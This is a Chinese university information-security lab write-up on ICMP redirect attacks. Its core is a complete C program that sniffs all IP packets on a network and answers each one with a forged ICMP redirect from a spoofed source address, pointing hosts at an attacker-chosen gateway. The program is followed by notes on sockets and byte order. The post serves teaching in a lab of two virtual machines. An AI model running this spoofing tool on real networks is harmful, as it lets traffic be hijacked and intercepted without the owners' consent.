科软-信息安全实验1-ICMP重定向
一 前言
文章不讲解理论知识哈,想学习理论知识的,认真听课😄,也可以参考郭老师的讲义:信息安全课程 ustcsse308
对于Linux,我只是个半路闯进来的小白,做实验过程中经常会被Linux内核玩得怀疑人生。所以我觉得很有必要先阐明实验的环境,以免各位同学不小心掉坑里。当然,如果你就是想爬坑,咱也拦不住😄
实验环境 / 工具:
- VMware workstation:VMware-workstation-full-15.0.0-10134415,网盘下载(密码:xn3p)
- 两台虚拟机(命名为:hacker(黑客),mice(小白鼠)),系统为:ubuntu-18.04.2-desktop-amd64.iso,网盘下载(密码:0ekt)
你可能用得上的网站:
- Old Ubuntu Releases(老版本的Linux系统下载网址):http://old-releases.ubuntu.com/releases/
- Linux内核源码搜索:https://elixir.bootlin.com/linux/v4.0/source/arch/x86/kernel/entry_64.S
- Ubuntu Kernel Release Schedule(内核与操作系统版本的对应关系):https://wiki.ubuntu.com/Kernel/Support
相关实验:
- 科软-信息安全实验2-netfilter实验:https://www.cnblogs.com/southday/p/11006936.html
- 科软-信息安全实验3-Rootkit劫持系统调用:https://www.cnblogs.com/southday/p/11013166.html
二 Talk is cheap, show me the code
需要注意,下面代码的攻击目标不是对特定的IP,而是对所有捕获到的IP包都发送重定向包,如果你想修改过滤逻辑,修改pass_filter()方法就可以了。
代码 lcx-icmp.c 如下:
1 #include<stdlib.h> 2 #include<stdio.h> 3 #include<string.h> 4 #include<unistd.h> 5 #include<sys/types.h> 6 #include<sys/socket.h> 7 #include<netinet/in.h> 8 #include<netinet/ip_icmp.h> 9 #include<linux/if_ether.h> 10 #include<arpa/inet.h> 11 12 #define BUFF_SIZE 2048 13 #define SUCCESS 1 14 #define FAILURE -1 15 16 const char *cmd_gateway = "-g"; 17 const char *cmd_srcip = "--src-ip"; 18 struct sockaddr_in arg_gateway; 19 struct sockaddr_in arg_srcip; 20 struct sockaddr_in target; 21 int recvsockfd = -1; 22 int sendsockfd = -1; 23 int optval = 1; // setsockopt()函数中使用 24 unsigned char recvbuff[BUFF_SIZE]; 25 unsigned char sendbuff[BUFF_SIZE]; 26 27 // 方法声明 28 int load_args(const int argc, char **); 29 void print_cmdprompt(); 30 int icmp_redirect(); 31 int pass_filter(); 32 unsigned short cksum(unsigned short *, int len); 33 34 int main(int argc, char* argv[]) { 35 if (load_args(argc, argv) < 0) { 36 printf("command format error!\n"); 37 print_cmdprompt(); 38 return FAILURE; 39 } 40 recvsockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)); 41 sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); 42 if (recvsockfd < 0 || sendsockfd < 0 43 || setsockopt(sendsockfd, SOL_IP, IP_HDRINCL, &optval, sizeof(optval))) { 44 perror("socket creation error"); 45 return FAILURE; 46 } 47 printf("lcx-icmp running...\n\n"); 48 while (1) { 49 bzero(recvbuff, BUFF_SIZE); 50 if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) > 0) { 51 if (pass_filter()) 52 icmp_redirect(); 53 } else { 54 sleep(1); 55 } 56 } 57 close(sendsockfd); 58 close(recvsockfd); 59 return SUCCESS; 60 } 61 62 /** 63 * 命令:lcx-icmp -g 192.168.23.132 --src-ip 192.168.23.2 64 * 65 * 载入参数: 66 * 1) arg_gateway: 192.168.23.132 67 * 2) arg_srcip: 192.168.23.2 68 * 69 * 参数标识: 70 * 1) argv[1]: -g 71 * 2) argv[3]: --src-ip 72 * 73 * @author southday 74 * @date 2019.03.29 75 */ 76 int load_args(const int argc, char *argv[]) { 77 if (argc != 5 78 || strcmp(argv[1], cmd_gateway) != 0 79 || strcmp(argv[3], cmd_srcip) != 0 80 || inet_aton(argv[2], &arg_gateway.sin_addr) == 0 81 || inet_aton(argv[4], &arg_srcip.sin_addr) == 0) 82 return FAILURE; 83 return SUCCESS; 84 } 85 86 /** 87 * 打印命令提示信息 88 * @author southday 89 * @date 2019.03.29 90 */ 91 void print_cmdprompt() { 92 printf("\nlcx-icmp -g [gateway_ip] --src-ip [from_ip]\n\n"); 93 printf("\t -g [gateway_ip] eg: -g 192.168.23.132\n"); 94 printf("\t--src-ip [from_ip] eg: --src-ip 192.168.23.2\n"); 95 } 96 97 /** 98 * 发送ICMP重定向包 99 * @author southday 100 * @date 2019.03.29 101 * @return 成功与否 102 */ 103 int icmp_redirect() { 104 // 以太网帧首部14字节:6B(dest_mac) + 6B(src_mac) + 2B(type or length) 105 struct ip *origin_ip = (struct ip *)(recvbuff + 14); 106 bzero(sendbuff, BUFF_SIZE); 107 108 // 构造IP首部 109 struct ip *ip = (struct ip *)sendbuff; 110 ip->ip_hl = 5; 111 ip->ip_v = 4; 112 ip->ip_tos = 0; 113 // 20B(IP首部) + 8B(重定向ICMP首部) + ?B(原始IP首部) + 8B(原始IP数据报的前8个字节) 114 ip->ip_len = htons(20 + 8 + (origin_ip->ip_hl<<2) + 8); 115 ip->ip_id = origin_ip->ip_id; 116 ip->ip_off = 0; 117 ip->ip_ttl = 64; 118 ip->ip_p = 1; // ICMP:1 119 ip->ip_sum = 0; 120 ip->ip_src = arg_srcip.sin_addr; 121 ip->ip_dst = origin_ip->ip_src; 122 // 计算IP首部校验和,只涉及首部 123 ip->ip_sum = cksum((unsigned short *)ip, 20); 124 125 // 构造ICMP首部 126 struct icmp *icmp = (struct icmp *)(sendbuff + 20); 127 icmp->icmp_type = 5; // REDIRECT TYPE = 5 128 icmp->icmp_code = 1; // 对特定主机路由的改变 129 icmp->icmp_cksum = 0; 130 icmp->icmp_hun.ih_gwaddr = arg_gateway.sin_addr; 131 132 // 拷贝原始IP首部 + 原始IP数据报的前8个字节,拷贝到sendbuff的toaddr位置 133 unsigned char *toaddr = (unsigned char *)(sendbuff + 20 + 8); 134 // 从recvbuff中取: 原始IP首部(长度为origin_ip->ip_hl<<2) + 原始IP数据报的前8个字节 135 memcpy(toaddr, (unsigned char *)origin_ip, (origin_ip->ip_hl<<2) + 8); 136 // 计算ICMP校验和,涉及首部和数据部分,包括:8字节ICMP首部 + 原始IP首部 + 原始IP数据报的前8字节 137 icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + (origin_ip->ip_hl<<2) + 8); 138 139 // 打印IP包字节数据,便于调试 140 printf(" %02x %02x", sendbuff[0], sendbuff[1]); 141 for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) { 142 if (i % 16 == 0) 143 printf("\n"); 144 if (i % 8 == 0) 145 printf(" "); 146 printf("%02x ", sendbuff[i+2]); 147 } 148 printf("\n"); 149 150 target.sin_addr = ip->ip_dst; 151 int ret = sendto(sendsockfd, sendbuff, ntohs(ip->ip_len), 0, (struct sockaddr *)&target, sizeof(target)); 152 if (ret < 0) { 153 perror("send error"); 154 } else { 155 printf("send a icmp redirect package!\n"); 156 } 157 return SUCCESS; 158 } 159 160 /** 161 * 包过滤,过滤非TCP, UDP, ICMP的包 162 * @author southday 163 * @date 2019.03.29 164 * @return 是否通过过滤 165 */ 166 int pass_filter() { 167 // 以太网帧首部14字节:6B(dest_mac) + 6B(src_mac) + 2B(type or length) 168 struct ip *ip = (struct ip *)(recvbuff + 14); 169 return (ip->ip_p == IPPROTO_TCP 170 || ip->ip_p == IPPROTO_UDP 171 || ip->ip_p == IPPROTO_ICMP); 172 } 173 174 /** 175 * 计算校验和 176 * 1) IP:IP首部 177 * 2) ICMP:首部+数据 178 * @param *addr 开始计算校验和的入口地址 179 * @param len 计算校验和所使用的数据长度,单位Byte 180 * @return 16位的校验和 181 * 182 * @author southday 183 * @date 2019.03.29 184 */ 185 unsigned short cksum(unsigned short *addr, int len) { 186 int sum = 0; 187 unsigned short res = 0; 188 /* len -= 2,因为 sizeof(unsigned short) = 2; 189 * sum += *addr++,每次偏移2Byte 190 */ 191 for (; len > 1; sum += *addr++, len -= 2); 192 // 每次处理2Byte,可能会存在多余的1Byte 193 sum += len == 1 ? *addr : 0; 194 // sum:高16位 + 低16位,高16位中存在可能的进位 195 sum = (sum >> 16) + (sum & 0xffff); 196 // sum + sum的高16位,高16位中存在可能的进位 197 sum += (sum >> 16); 198 // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位 199 res = ~sum; 200 return res; 201 }
三 效果演示
mice端执行ping命令,如下:
hacker端执行lcx-icmp程序,如下:
我把发送的IP包字节打印出来,方便结合Wireshark进行调试;
四 遇到的问题&解决
下面的内容是我在做实验过程中遇到的问题、疑问、思考,对不少知识点也只是浅尝辄止,仅供参考😊
1 ‘ETH_P_IP’ was not declared in this scope
添加头文件:#include<linux/if_ether.h>
该头文件位于:/usr/include/linux/if_ether.h
2 recv()、recvfrom() | send()、sendto()函数的使用
sendto(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrServ,sizeof(SOCKADDR)); // UDP send(sd, buffer, BUFSIZ, 0); // TCP recvfrom(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrClient,sizeof(SOCKADDR)); // UDP recv(sd, buffer, BUFSIZ, 0); // TCP
recvfrom 可同时应用于面向连接和无连接的套接字;recv 一般只用在面向连接的套接字,几乎等同于recvfrom,只要将recvfrom的第5个参数设置为NULL;
recvfrom 多了两个参数,可以用来接收对端的地址信息,这个对于udp这种无连接的,可以很方便地进行回复。如果在udp当中也使用recv,那么就不知道该回复给谁了,如果你不需要回复的话,也是可以使用的。对于tcp是已经知道对端的,就没必要每次接收还多收一个地址,没必要取地址信息,在accept中就可以取得。
3 setsocketopt()函数
- sock:将要被设置或者获取选项的套接字;
- level:选项所在的协议层;
- optname:需要访问的选项名;
- optval:
- 对于getsockopt(),指向返回选项值的缓冲;
- 对于setsockopt(),指向包含新选项值的缓冲;
- optlen:
- 对于getsockopt(),作为入口参数时,选项值的最大长度。作为出口参数时,选项值的实际长度;
- 对于setsockopt(),现选项的长度;
4 unsigned int ip_hl:4,这里的:4是什么意思?
位域,表示ip_hl只取4bit;位段(bit-field)是以位为单位来定义结构体(或联合体)中的成员变量所占的空间。含有位段的结构体(联合体)称为位段结构。采用位段结构既能够节省空间,又方便于操作。
5 为什么要使用htons(),ntohl(),ntohs(),htons()函数?
之所以需要这些函数是因为计算机数据表示存在两种字节顺序:NBO与HBO;
参考: socket编程为什么需要htons(), ntohl(), ntohs(),htons() 函数
htonl()--"Host to Network Long" ntohl()--"Network to Host Long" htons()--"Host to Network Short" ntohs()--"Network to Host Short"
数字所占位数小于或等于一个字节(8 bits)时,不要用htons转换。这是因为对于主机来说,大小尾端的最小单位为字节(byte)。
网络字节顺序(NBO,Network Byte Order):按从高到低的顺序存储,在网络上使用统一的网络字节顺序,可以避免兼容性问题。
主机字节顺序(HBO,Host Byte Order):不同的机器HBO不相同,与CPU设计有关,数据的顺序是由cpu决定的,而与操作系统无关。
如 Intelx86结构下,short型数0x1234表示为34 12,int型数0x12345678表示为78 56 34 12;如IBM power PC结构下,short型数0x1234表示为12 34,int型数0x12345678表示为12 34 56 78;
6 关于大端法、小端法
例如有个变量x为int型,存放在地址0x100的地方,其16进制值为:0x12345678,地址范围是0x100~0x103;
大端法存储:
小端法存储:
最高有效位( most significant bit,MSB)指的是一个n位二进制数字中的n-1位,具有最高的权值2^(n-1)。最低有效位和最高有效位是相对应的概念。在大端序中,msb即指最左端的位。
高、低字节:按平时书写习惯,从左到右是高位到低位的顺序;
高、低地址:内存地址可以对应十六进制的数值,值大的为高地址,否则为低地址;
字节顺序是指占内存多于一个字节类型的数据在内存中的存放顺序,通常有小端、大端两种字节顺序:
- 大端字节序:是高字节数据存放在低地址处,低字节数据存放在高地址处;
- 小端字节序:指低字节数据存放在内存低地址处,高字节数据存放在内存高地址处;
7 inet_aton()是什么函数?检测ip地址正确性?inet_ntoa()函数呢?
需要包含头文件:
1 #include<sys/socket.h> 2 #include<netinet/in.h> 3 #include<arpa/inet.h>
- string 包含ASCII码表示的IP地址;
- *addr 用来保存转换后新的IP地址结构(网络字节序的二进制);
返回值:
- 成功则返回非0值,返回1;
- 失败则返回0值;
char *inet_ntoa(struct in_addr in);
8 为什么使用inet_pton()、inet_ntop()函数?它们与inet_aton()、inet_ntoa()有什么区别?
- 如果你使用struct ip,那么使用inet_aton()、inet_ntoa();
- 如果你使用struct iphdr,那么使用inet_pton()、inet_ntop();
1 struct iphdr 2 { 3 #if __BYTE_ORDER == __LITTLE_ENDIAN 4 unsigned int ihl:4; 5 unsigned int version:4; 6 #elif __BYTE_ORDER == __BIG_ENDIAN 7 unsigned int version:4; 8 unsigned int ihl:4; 9 #else 10 # error "Please fix <bits/endian.h>" 11 #endif 12 uint8_t tos; 13 uint16_t tot_len; 14 uint16_t id; 15 uint16_t frag_off; 16 uint8_t ttl; 17 uint8_t protocol; 18 uint16_t check; 19 uint32_t saddr; 20 uint32_t daddr; 21 /*The options start here. */ 22 }; 23 24 struct ip 25 { 26 #if __BYTE_ORDER == __LITTLE_ENDIAN 27 unsigned int ip_hl:4; /* header length */ 28 unsigned int ip_v:4; /* version */ 29 #endif 30 #if __BYTE_ORDER == __BIG_ENDIAN 31 unsigned int ip_v:4; /* version */ 32 unsigned int ip_hl:4; /* header length */ 33 #endif 34 uint8_t ip_tos; /* type of service */ 35 unsigned short ip_len; /* total length */ 36 unsigned short ip_id; /* identification */ 37 unsigned short ip_off; /* fragment offset field */ 38 #define IP_RF 0x8000 /* reserved fragment flag */ 39 #define IP_DF 0x4000 /* dont fragment flag */ 40 #define IP_MF 0x2000 /* more fragments flag */ 41 #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ 42 uint8_t ip_ttl; /* time to live */ 43 uint8_t ip_p; /* protocol */ 44 unsigned short ip_sum; /* checksum */ 45 struct in_addr ip_src, ip_dst; /* source and dest address */ 46 };
转载请说明出处!😄 have a good time ~